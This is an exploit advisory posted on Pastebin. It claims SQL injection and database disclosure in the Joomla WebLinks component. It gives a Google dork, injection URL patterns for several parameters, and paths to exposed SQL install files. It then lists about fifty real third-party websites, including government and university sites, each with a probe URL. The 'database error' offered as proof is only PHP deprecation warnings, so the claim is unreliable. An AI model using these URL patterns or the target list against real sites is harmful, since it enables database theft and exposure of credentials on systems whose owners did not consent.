KingSkrupellos

Joomla WebLinks 3.6.0 SQL Injection / Database Disclosure

Feb 9th, 2019
61
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.85 KB | None | 0 0
  1. ####################################################################
  2.  
  3. # Exploit Title : Joomla WebLinks 3.6.0 SQL Injection / Database Disclosure
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 10/02/2019
  7. # Vendor Homepage : joomla.org
  8. # Software Download Link :
  9. downloads.joomla.org/extensions/weblinks/3-6-0/pkg-weblinks-3-6-0-zip?format=zip
  10. github.com/joomla-extensions/weblinks
  11. # Software Information Link :
  12. extensions.joomla.org/extensions/extension/official-extensions/weblinks/
  13. # Software Versions : 3.4.0 - 3.4.1 - 3.5.0 - 3.6.0 and other previous versions.
  14. # Tested On : Windows and Linux
  15. # Category : WebApps
  16. # Exploit Risk : Medium
  17. # Google Dorks : inurl:''/index.php?option=com_weblinks''
  18. # Vulnerability Type : CWE-89 [ Improper Neutralization of
  19. Special Elements used in an SQL Command ('SQL Injection') ]
  20. # Old Similar CVE : CVE-2010-2679
  21. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  22. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  23. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  24.  
  25. ####################################################################
  26.  
  27. # Description about Software :
  28. ***************************
  29. The Web Links Manager allows you to add, edit and remove links to other web sites
  30.  
  31. on your Joomla! web site, and organize them into categories.
  32.  
  33. You can then display these links on your site, and optionally let visitors add new links.
  34.  
  35. ####################################################################
  36.  
  37. # Impact :
  38. ***********
  39. * SQL injection vulnerability in the Weblinks (com_weblinks) component in Joomla!
  40.  
  41. allows remote attackers to execute arbitrary SQL commands
  42.  
  43. via the id parameter in a view action to index.php.
  44.  
  45. Joomla WebLinks 3.6.0 and other versions - component for Joomla is prone
  46.  
  47. to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied
  48.  
  49. data before using it in an SQL query.
  50.  
  51. Exploiting this issue could allow an attacker to compromise the application,
  52.  
  53. access or modify data, or exploit latent vulnerabilities in the underlying database.
  54.  
  55. A remote attacker can send a specially crafted request to the vulnerable application
  56.  
  57. and execute arbitrary SQL commands in application`s database.
  58.  
  59. Further exploitation of this vulnerability may result in unauthorized data manipulation.
  60.  
  61. An attacker can exploit this issue using a browser.
  62.  
  63. * This Software prone to an information exposure/database disclosure vulnerability.
  64.  
  65. Successful exploits of this issue may allow an attacker to obtain sensitive
  66.  
  67. information by downloading the full contents of the application's database.
  68.  
  69. * Any remote user may download the database files and gain access
  70.  
  71. to sensitive information including unencrypted authentication credentials.
  72.  
  73. ####################################################################
  74.  
  75. # SQL Injection Exploit :
  76. **********************
  77. /index.php?option=com_weblinks&Itemid=[SQL Injection]
  78.  
  79. /index.php?option=com_weblinks&catid=[ID-NUMBER]&Itemid=[SQL Injection]
  80.  
  81. /index.php?option=com_weblinks&view=categories&Itemid=[SQL Injection]
  82.  
  83. /index.php?option=com_weblinks&task=view&catid=[ID-NUMBER]&id=[SQL Injection]
  84.  
  85. /index.php?option=com_weblinks&view=category&id=[ID-NUMBER]&Itemid=[SQL Injection]
  86.  
  87. /index.php?option=com_weblinks&view=category&id=[ID-NUMBER]%3[FOLDER-NAME]&Itemid=[SQL Injection]
  88.  
  89. /index.php?option=com_weblinks&view=category&id=[ID-NUMBER]%3[FOLDER-NAME]&format=feed&type=[SQL Injection]
  90.  
  91. # Database Disclosure Exploit :
  92. ****************************
  93. /administrator/components/com_weblinks/sql/install.mysql.sql
  94.  
  95. /administrator/components/com_weblinks/sql/install.postgresql.sql
  96.  
  97. /administrator/components/com_weblinks/sql/install.sqlsrv.sql
  98.  
  99. /administrator/components/com_weblinks/sql/uninstall.mysql.sql
  100.  
  101. /administrator/components/com_weblinks/sql/uninstall.postgresql.sql
  102.  
  103. /administrator/components/com_weblinks/sql/uninstall.sqlsrv.sql
  104.  
  105. /administrator/components/com_weblinks/sql/updates/mysql/3.4.0.sql
  106.  
  107. /administrator/components/com_weblinks/sql/updates/mysql/3.5.1.sql
  108.  
  109. /administrator/components/com_weblinks/sql/updates/postgresql/3.4.0.sql
  110.  
  111. /administrator/components/com_weblinks/sql/updates/sqlsrv/3.4.0.sql
  112.  
  113. /administrator/components/com_weblinks/sql/install.mysql.utf8.sql.encrypted
  114.  
  115. /administrator/components/com_weblinks/sql/uninstall.mysql.utf8.sql.encrypted
  116.  
  117. ####################################################################
  118.  
  119. # Example Vulnerable Sites :
  120. *************************
  121. [+] sunshrine.com/administrator/components/com_weblinks/sql/uninstall.mysql.utf8.sql.encrypted
  122.  
  123. [+] murphyspub.de/administrator/components/com_weblinks/sql/install.mysql.sql
  124.  
  125. [+] freightdb.kzntransport.gov.za/administrator/components/com_weblinks/sql/install.mysql.utf8.sql
  126.  
  127. [+] itcp.ifba.edu.br/index.php?option=com_weblinks&Itemid=23%27
  128.  
  129. [+] bosfinancesupport.nl/index.php?option=com_weblinks&Itemid=23%27
  130.  
  131. [+] villaurbana.net/cultura/index.php?option=com_weblinks&Itemid=23%27
  132.  
  133. [+] hangterapia.hu/index.php?option=com_weblinks&catid=4&Itemid=49%27
  134.  
  135. [+] clubepuntogt.com/index.php?option=com_weblinks&catid=4&Itemid=6%27
  136.  
  137. [+] kirchen-wiesbaden.de/kiwicms/index.php?option=com_weblinks&catid=35&Itemid=23%27
  138.  
  139. [+] esgdl.com/index.php?option=com_weblinks&Itemid=23%27
  140.  
  141. [+] braeuwiese.at/index.php?option=com_weblinks&view=categories&Itemid=11%27
  142.  
  143. [+] tennishalulrum.nl/site/index.php?option=com_weblinks&catid=1&Itemid=5%27
  144.  
  145. [+] awfa.asn.au/site/index.php?option=com_weblinks&catid=55&Itemid=23%27
  146.  
  147. [+] oldboys.pl/index.php?option=com_weblinks&Itemid=22%27
  148.  
  149. [+] joomla.hitzblech-markierung.de/index.php?option=com_weblinks&Itemid=23%27
  150.  
  151. [+] ff-feistritz.at/ff/index.php?option=com_weblinks&view=category&id=8&Itemid=17%27
  152.  
  153. [+] nymannings.net/main/index.php?option=com_weblinks&view=category&id=2&Itemid=48%27
  154.  
  155. [+] smuki.smusa.sg/cms/index.php?option=com_weblinks&catid=30&Itemid=23%27
  156.  
  157. [+] mrmfirm.com/us/index.php?option=com_weblinks&view=category&id=36&Itemid=61%27
  158.  
  159. [+] ruda.awardspace.com/index.php?option=com_weblinks&Itemid=23%27
  160.  
  161. [+] mbp-podkowalesna.pl/archiwum/index.php?option=com_weblinks&catid=54&Itemid=22%27
  162.  
  163. [+] bernd-otten.de/joomla/index.php?option=com_weblinks&Itemid=23%27
  164.  
  165. [+] hamishpage.biz/index.php?option=com_weblinks&Itemid=23%27
  166.  
  167. [+] note-quetscher.ch/index.php?option=com_weblinks&view=categories&Itemid=55%27
  168.  
  169. [+] nogeensite.nl/index.php?option=com_weblinks&itemid=4%27
  170.  
  171. [+] deshodaya.sarvodaya.org/index.php?option=com_weblinks
  172. &view=category&id=2%3Ajoomla-specific-links&Itemid=48%27
  173.  
  174. [+] nwbcisbasketball.com/index.php?option=com_weblinks
  175. &view=category&id=41%3Adirections&Itemid=68%27
  176.  
  177. [+] koczorowski.info/index.php?option=com_weblinks&Itemid=23%27
  178.  
  179. [+] llpm.com.my/index.php?option=com_weblinks&view=category&id=44&Itemid=48%27
  180.  
  181. [+] hogreve.com/index.php?option=com_weblinks&Itemid=23%27
  182.  
  183. [+] lastanza.tempodelsogno.com/joomla/index.php?option=com_weblinks&catid=24&Itemid=72%27
  184.  
  185. [+] imbotero.com/index.php?option=com_weblinks&view=categories&Itemid=48%27
  186.  
  187. [+] purepassion.us/web/index.php?option=com_weblinks&view=category&id=21&Itemid=202%27
  188.  
  189. [+] digitalfactor.com/index.php?option=com_weblinks&view=categories&Itemid=48%27
  190.  
  191. [+] cataniaviva.altervista.org/index.php?option=com_weblinks&Itemid=23%27
  192.  
  193. [+] encuentrotodo.atwebpages.com/index.php?option=com_weblinks&Itemid=23%27
  194.  
  195. [+] bergmix.com/index.php?option=com_weblinks&Itemid=23%27
  196.  
  197. [+] fotoespacio.cl/portal/index.php?option=com_weblinks&view=
  198. category&id=64%3Acolectivos&format=feed&type=1%27
  199.  
  200. [+] lichtwelle.com/index.php?option=com_weblinks&Itemid=4%27
  201.  
  202. [+] massimopisera.altervista.org/joomla/index.php?option=com_weblinks&view=categories&Itemid=48%27
  203.  
  204. [+] ceder.org.pe/portal/index.php?option=com_weblinks&Itemid=76%27
  205.  
  206. [+] andyduffy.com/cms/index.php?Itemid=60&catid=25%27&option=com_weblinks
  207.  
  208. [+] malchin.uv.gov.mn/index.php?option=com_weblinks&view=
  209. category&id=38%3Agovernmentorgs&Itemid=48&format=feed&type=1%27
  210.  
  211. [+] reuwsaat2.de/index.php?option=com_weblinks&Itemid=23%27
  212.  
  213. [+] betriebsplanungen.de/index.php?option=com_weblinks&Itemid=23%27
  214.  
  215. [+] rhughesrealty.com/index.php?option=com_weblinks&Itemid=23%27
  216.  
  217. [+] naagol.com/index.php?option=com_weblinks&view=categories&Itemid=48%27
  218.  
  219. ####################################################################
  220.  
  221. # Example SQL Database Error :
  222. ****************************
  223. Deprecated: Assigning the return value of new by reference is
  224. deprecated in /home/cpgt/public_html/includes/joomla.php on line 829
  225.  
  226. Deprecated: preg_replace(): The /e modifier is deprecated, use
  227. preg_replace_callback instead in /home/cpgt/public_html
  228. /includes/phpInputFilter/class.inputfilter.php on line 457
  229.  
  230. ####################################################################
  231.  
  232. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  233.  
  234. ####################################################################
Add Comment
Please, Sign In to add comment